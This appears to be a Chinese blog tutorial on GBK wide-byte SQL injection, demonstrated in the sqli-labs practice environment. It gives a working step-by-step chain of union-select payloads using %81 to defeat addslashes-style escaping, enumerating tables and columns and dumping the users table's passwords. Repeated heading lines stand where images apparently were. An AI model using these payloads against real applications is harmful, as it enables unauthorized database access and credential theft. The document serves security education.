SQL宽字节注入 0x00 概述 0x01 利用sqli-lab的实验环境实现宽字节注入 0x02 实战演练

- 什么是宽字节注入?

宽字节注入就是因为gbk编码方式需要两个ascii码组合来解码,所以形象的叫做宽字节,这个作为了解即可

-宽字节注入的条件

1) 数据库查询设置为GBK编码

2) 使用了addslashes(),mysql_real_escape_string(),mysql_escape_string()这类的过滤函数

- 宽字节注入的原理

假设我们传递一个参数id=1’,当我们输入这个单引号的时候,那么会被认为是非法的字符,会被过滤函数添加“/”给过滤掉,所以我们想要程序接受我们传递的参数里面包含单引号,那么就需要把这个转义字符“/”给干掉,那如何才能干掉?当http协议传输的时候,要经过url编码的,如果这个编码完成后,传递到服务器时,有奇数个数,它会把前面偶数个数的字符当作gbk编码去解码,那么剩下的就当作普通的url去编码,所以我们就可以在单引号之前添加一个%81这样的编码,这样当最后解码的时候,这个%81就会和“/”对应的编码相结合按照gbk的要求去解码,最后就只剩下个单引号,也就得到了我们想要的结果!

0x01 利用sqli-lab的实验环境实现宽字节注入

下载传送门:https://github.com/Audi-1/sqli-labs

0x02 实战演练

1、首先观察正常访问的页面

SQL宽字节注入
0x00 概述
0x01 利用sqli-lab的实验环境实现宽字节注入
0x02 实战演练

2、给参数1后面添加一个单引号,观察页面变化:可以看到单引号前面多了一个的转义字符,那么可以判断后台在处理参数的时候使用了过滤函数进行转义过滤

SQL宽字节注入
0x00 概述
0x01 利用sqli-lab的实验环境实现宽字节注入
0x02 实战演练

3、根据之前原理的分析,利用gbk编码的特性来试一下,在‘前面增加一个%81的编码

SQL宽字节注入
0x00 概述
0x01 利用sqli-lab的实验环境实现宽字节注入
0x02 实战演练

4、上一步好像那样做过后也没看出什么异常,只是多了一个不认识的符号,这应该是和浏览器页面的编码方式有关,由于我利用的是gbk编码的特性,所以我把页面的编码改成gbk再来看看效果

SQL宽字节注入
0x00 概述
0x01 利用sqli-lab的实验环境实现宽字节注入
0x02 实战演练

那么其实更改编码过后,之前的转义符其实就是和%81结合按照gbk的解码方式变成了一个汉字,所以我们输入的单引号就得以逃过过滤函数的转义

5、那么弄明白上面的问题过后,就可以开始一步步的去构造sql语句去查询数据库里面的信息了,在这里选择通过结合union联合查询来注入

1)由于联合查询需要满足列相同,以及类型相似,所以需要先判断一下

构造的sql语句1%81' union select 1--+

SQL宽字节注入
0x00 概述
0x01 利用sqli-lab的实验环境实现宽字节注入
0x02 实战演练

报了列不匹配的错误,那么继续增加,直到不报错为止如下:

当sql语句:1%81' union select 1,3,2--+ 时就没有报错了,说明列匹配了

SQL宽字节注入
0x00 概述
0x01 利用sqli-lab的实验环境实现宽字节注入
0x02 实战演练

3)注入得到数据库名字:security

构造的sql语句:%81' union select 1,user(),database()--+

SQL宽字节注入
0x00 概述
0x01 利用sqli-lab的实验环境实现宽字节注入
0x02 实战演练

4得到数据库里面的表名:emails,referers,uagents,users

构造的sql语句%81' union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=database()--+

SQL宽字节注入
0x00 概述
0x01 利用sqli-lab的实验环境实现宽字节注入
0x02 实战演练

5)得到数据库的表里面的列名,这里以user来演示

构造的sql语句%81' union select 1,group_concat(column_name),database() from information_schema.columns where table_name='user'--+

SQL宽字节注入
0x00 概述
0x01 利用sqli-lab的实验环境实现宽字节注入
0x02 实战演练

当我这样做的时候,发现报错了,我的table_name的参数使用了引号,那这里的这个引号如何处理呢?我尝试了一下,利用前面的方法不行,所以这里就只能将user进行16进制转码来解决,也就是将‘user’使用0x 75736572来代替;75736572对应的就是user

更改后的sql语句:最后我又添加了一个数据库名的条件,因为只要那个数据库里的users的字段

%81' union select 1,group_concat(column_name),1 from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479--+

SQL宽字节注入
0x00 概述
0x01 利用sqli-lab的实验环境实现宽字节注入
0x02 实战演练

最后得到的列名就是:id,username,password

6)得到数据库名,得到表名字和列名字,那么再继续得到数据的内容就跟容易了,如下:

构造的sql语句%81' union select 1,group_concat(password),1 from users--+

SQL宽字节注入
0x00 概述
0x01 利用sqli-lab的实验环境实现宽字节注入
0x02 实战演练

最后成功得到users表里面的PASSWORD字段的数据如下

Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4